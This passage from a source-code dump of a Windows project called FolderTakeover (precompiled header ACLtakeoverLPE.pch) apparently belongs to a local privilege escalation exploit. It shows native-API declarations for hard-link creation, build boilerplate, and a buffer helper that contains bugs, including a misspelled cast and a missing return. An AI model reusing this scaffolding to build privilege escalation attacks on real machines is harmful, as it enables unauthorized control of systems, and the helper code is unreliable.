_FILE_LINK_INFORMATION { 35 | BOOLEAN ReplaceIfExists; 36 | HANDLE RootDirectory; 37 | ULONG FileNameLength; 38 | WCHAR FileName[1]; 39 | } FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; 40 | 41 | typedef NTSTATUS(__stdcall *_ZwSetInformationFile)( 42 | _In_ HANDLE FileHandle, 43 | _Out_ PIO_STATUS_BLOCK IoStatusBlock, 44 | _In_ PVOID FileInformation, 45 | _In_ ULONG Length, 46 | _In_ ULONG FileInformationClass 47 | ); 48 | typedef ULONG(NTAPI* _RtlNtStatusToDosError)(NTSTATUS status); 49 | void SetNtLastError(NTSTATUS status); 50 | 51 | #define DEFINE_NTDLL(x) _ ## x f ## x = (_ ## x)GetProcAddressNT(#x) 52 | -------------------------------------------------------------------------------- /FolderTakeover/stdafx.cpp: -------------------------------------------------------------------------------- 1 | // stdafx.cpp : source file that includes just the standard includes 2 | // ACLtakeoverLPE.pch will be the pre-compiled header 3 | // stdafx.obj will contain the pre-compiled type information 4 | 5 | #include "stdafx.h" 6 | 7 | // TODO: reference any additional headers you need in STDAFX.H 8 | // and not in this file 9 | -------------------------------------------------------------------------------- /FolderTakeover/stdafx.h: -------------------------------------------------------------------------------- 1 | // stdafx.h : include file for standard system include files, 2 | // or project specific include files that are used frequently, but 3 | // are changed infrequently 4 | // 5 | 6 | #pragma once 7 | 8 | #include "targetver.h" 9 | #include 10 | #include 11 | #include 12 | 13 | 14 | 15 | FARPROC GetProcAddressNT(LPCSTR lpName); 16 | -------------------------------------------------------------------------------- /FolderTakeover/targetver.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | // Including SDKDDKVer.h defines the highest available Windows platform. 4 | 5 | // If you wish to build your application for a previous Windows platform, include WinSDKVer.h and 6 | // set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h. 7 | 8 | #include 9 | -------------------------------------------------------------------------------- /FolderTakeover/typed_buffer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | template 7 | class typed_buffer_ptr { 8 | std::unique_ptr buffer_; 9 | size_t size_; 10 | 11 | public: 12 | typed_buffer_ptr() { 13 | } 14 | 15 | explicit typed_buffer_ptr(size_t size) { 16 | reset(size); 17 | } 18 | 19 | void reset(size_t size) { 20 | buffer_.reset(new char[size]); 21 | memset(buffer_.get(), 0, size); 22 | size_ = size; 23 | } 24 | 25 | void resize(size_t size) { 26 | std::unique_ptr tmp(new char[size]); 27 | 28 | memcpy(tmp.get(), buffer_.get(), min(size, size_)); 29 | 30 | buffer_ = std::move(tmp); 31 | } 32 | 33 | operator T*() { 34 | return reinterpret_cast(buffer_.get()); 35 | } 36 | 37 | operator const T*() const { 38 | return cget(); 39 | } 40 | 41 | T* operator->() const { 42 | return reinterpret_cast(buffer_.get()); 43 | } 44 | 45 | const T* cget() const { 46 | return interpret_cast(buffer_.get()); 47 | } 48 | 49 | typed_buffer_ptr(const typed_buffer_ptr& other) = delete; 50 | typed_buffer_ptr& typed_buffer_ptr::operator=(const typed_buffer_ptr& other) = delete; 51 | 52 | typed_buffer_ptr(typed_buffer_ptr&& other) { 53 | buffer_ = std::move(other.buffer_); 54 | size_ = other.size_; 55 | other.size_ = 0; 56 | } 57 | 58 | typed_buffer_ptr& operator=(typed_buffer_ptr&& other) { 59 | if (this != &other) 60 | { 61 | buffer_ = std::move(other.buffer_); 62 | size_ = other.size_; 63 | other.size_ = 0; 64 | } 65 | } 66 | 67 | size_t size() const { 68 | return size_; 69 | } 70 | }; --------------------------------------------------------------------------------